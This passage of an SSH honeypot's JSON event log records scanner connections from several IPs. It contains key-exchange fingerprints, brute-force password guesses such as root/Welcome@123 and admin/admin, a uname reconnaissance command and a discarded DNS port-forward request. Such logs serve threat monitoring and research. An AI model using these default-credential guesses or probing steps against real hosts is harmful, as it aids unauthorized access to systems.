sh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:24:59.733191Z","src_ip":"83.168.110.85","session":"de6e8f2561b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@123","message":"login attempt [root/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:00.096334Z","src_ip":"83.168.110.85","session":"de6e8f2561b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:00.406144Z","src_ip":"103.118.29.129","session":"456dd1a8894b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:01.382071Z","src_ip":"83.168.110.85","session":"de6e8f2561b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":60178,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a2a04c6df56","protocol":"ssh","message":"New connection: 87.251.64.176:60178 (10.17.0.5:22) [session: 1a2a04c6df56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:02.927758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:02.942347Z","src_ip":"87.251.64.176","session":"1a2a04c6df56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:03.079040Z","src_ip":"87.251.64.176","session":"1a2a04c6df56","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:03.570219Z","src_ip":"87.251.64.176","session":"1a2a04c6df56","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:03.674399Z","session":"1a2a04c6df56","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:03.801618Z","src_ip":"87.251.64.176","session":"1a2a04c6df56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:04.159399Z","src_ip":"87.251.64.176","session":"1a2a04c6df56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":36894,"dst_ip":"159.203.135.109","dst_port":22,"session":"10ffa6087969","protocol":"ssh","message":"New connection: 83.168.110.85:36894 (159.203.135.109:22) [session: 10ffa6087969]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:10.265241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:10.270239Z","src_ip":"83.168.110.85","session":"10ffa6087969","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:10.392790Z","src_ip":"83.168.110.85","session":"10ffa6087969","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rock","message":"login attempt [root/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:10.759544Z","src_ip":"83.168.110.85","session":"10ffa6087969","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:11.887378Z","src_ip":"83.168.110.85","session":"10ffa6087969","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.206.182.214","src_port":16044,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c405de19d98","protocol":"ssh","message":"New connection: 195.206.182.214:16044 (10.17.0.5:22) [session: 2c405de19d98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:15.871719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8","message":"Remote SSH version: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:15.877159Z","src_ip":"195.206.182.214","session":"2c405de19d98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bc9e7273cde22b1209d6673b5fd10bd5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bc9e7273cde22b1209d6673b5fd10bd5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:15.948469Z","src_ip":"195.206.182.214","session":"2c405de19d98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:16.092818Z","src_ip":"195.206.182.214","session":"2c405de19d98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":34238,"dst_ip":"10.17.0.5","dst_port":22,"session":"8037a006849c","protocol":"ssh","message":"New connection: 103.15.222.183:34238 (10.17.0.5:22) [session: 8037a006849c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:19.207311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:19.212571Z","src_ip":"103.15.222.183","session":"8037a006849c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:19.459718Z","src_ip":"103.15.222.183","session":"8037a006849c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vjkjrj","message":"login attempt [root/vjkjrj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:20.192413Z","src_ip":"103.15.222.183","session":"8037a006849c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":38504,"dst_ip":"159.203.135.109","dst_port":22,"session":"80c6d3f572b3","protocol":"ssh","message":"New connection: 160.251.185.39:38504 (159.203.135.109:22) [session: 80c6d3f572b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:20.469640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:20.475649Z","src_ip":"160.251.185.39","session":"80c6d3f572b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":34162,"dst_ip":"159.203.135.109","dst_port":22,"session":"26fca7d57d03","protocol":"ssh","message":"New connection: 83.168.110.85:34162 (159.203.135.109:22) [session: 26fca7d57d03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:20.635113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:20.640346Z","src_ip":"83.168.110.85","session":"26fca7d57d03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:20.652620Z","src_ip":"160.251.185.39","session":"80c6d3f572b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:20.762020Z","src_ip":"83.168.110.85","session":"26fca7d57d03","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123","message":"login attempt [steam/123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:21.128944Z","src_ip":"83.168.110.85","session":"26fca7d57d03","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:21.419684Z","src_ip":"83.168.110.85","session":"26fca7d57d03","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:21.423033Z","src_ip":"83.168.110.85","session":"26fca7d57d03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root2010","message":"login attempt [root/root2010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:21.429943Z","src_ip":"160.251.185.39","session":"80c6d3f572b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:21.439006Z","src_ip":"103.15.222.183","session":"8037a006849c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:21.547189Z","src_ip":"83.168.110.85","session":"26fca7d57d03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:21.552623Z","src_ip":"83.168.110.85","session":"26fca7d57d03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:22.609376Z","src_ip":"160.251.185.39","session":"80c6d3f572b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":37520,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f052218483d","protocol":"ssh","message":"New connection: 83.168.110.85:37520 (159.203.135.109:22) [session: 2f052218483d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:31.147002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:31.151997Z","src_ip":"83.168.110.85","session":"2f052218483d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:31.273397Z","src_ip":"83.168.110.85","session":"2f052218483d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"home","password":"home","message":"login attempt [home/home] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:31.639382Z","src_ip":"83.168.110.85","session":"2f052218483d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:32.774067Z","src_ip":"83.168.110.85","session":"2f052218483d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":38094,"dst_ip":"159.203.135.109","dst_port":22,"session":"152432024593","protocol":"ssh","message":"New connection: 83.168.110.85:38094 (159.203.135.109:22) [session: 152432024593]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:41.279001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:25:41.284283Z","src_ip":"83.168.110.85","session":"152432024593","protocol":"ssh"}
